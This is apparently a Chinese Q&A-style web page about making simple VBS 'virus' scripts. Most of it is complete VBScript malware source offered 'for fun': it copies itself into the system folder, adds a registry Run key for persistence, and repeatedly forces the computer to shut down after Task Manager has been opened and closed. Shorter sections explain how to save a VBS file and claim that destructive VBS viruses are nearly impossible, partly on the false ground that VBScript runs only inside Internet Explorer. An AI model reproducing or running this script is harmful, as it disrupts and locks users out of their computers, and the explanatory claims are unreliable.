简易vbs脚本病毒制作（如何运行vbs脚本）
本文目录一览：
vbs脚本病毒编写教程（不是拿去害人，是自己用来玩玩） 急！！！！！
Set ws=WScript.CreateObject("wscript.shell")
Set fso=WScript.CreateObject("scripting.filesystemobject")
path1=fso.GetSpecialFolder(1)
Set fs1=fso.getfile(WScript.ScriptFullName)
path2=path1 "\" fs1.Name
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\aa","""" path2 """","REG_SZ"
If Not fso.FileExists(path2) then
fs1.Copy(path1 "\")
ws.Run """" path2 """",True,True
End If
do
Set wmi=GetObject("winmgmts:\\.\root\cimv2")
Set list=wmi.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list.count0 Then
Call fun2()
End If
WScript.Sleep 3000
loop
Function fun2()
do
Set wmi2=GetObject("winmgmts:\\.\root\cimv2")
Set list2=wmi2.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list2.count=0 Then
Set wmi3=GetObject("winmgmts:{(shutdown)}\\.\root\cimv2")
Set list3=wmi3.ExecQuery("select * from win32_operatingsystem")
For Each uu In list3
uu.win32shutdown(2+4)
next
End If
wscript.sleep 2000
loop
End function
如何制作vbs
VBS全称是Visual Basic Script，是微软推出的，由宿主解释执行的一种脚本语言。VBS用记事本即可编写，在记事本中输入代码，如“msgbox now”（不含引号），保存后将后缀名txt改为vbs即可。由于拓展名VBS于另一种程序的文件拓展名有冲突，所以引进了VBE，而现在一般将加密后的VBS文件保存为VBE格式
怎么用VBScript做一个可以破坏系统的病毒？
这个很难，几乎不可能
1、VBScript只能运行在IE浏览器中，即使做成VBS可独立运行的文件，也无法完全脱离IE浏览器；
2、VBScript是脚本程序，除了要受IE浏览器的安全机制约束，还要受其他很多限制，如果电脑系统中存在阶级，那么VBScript就是最底层的贫民，是屌丝中的屌丝；
3、360这类的安全软件对VBScript这类脚本程序一向严查、毫不手软的；
4、即使以上这些都不算事，一个软件要想破坏系统也绝非易事，也不知你说的破坏系统究竟是指破坏硬件系统还是软件系统，前者是不可能的，后者在几乎每台电脑都装了360或电脑管家的今天也几乎是不可能的；
5、即使以上这些都能做到，你还要求简单一些，那就只有上帝知道了，前提是上帝也懂编程。
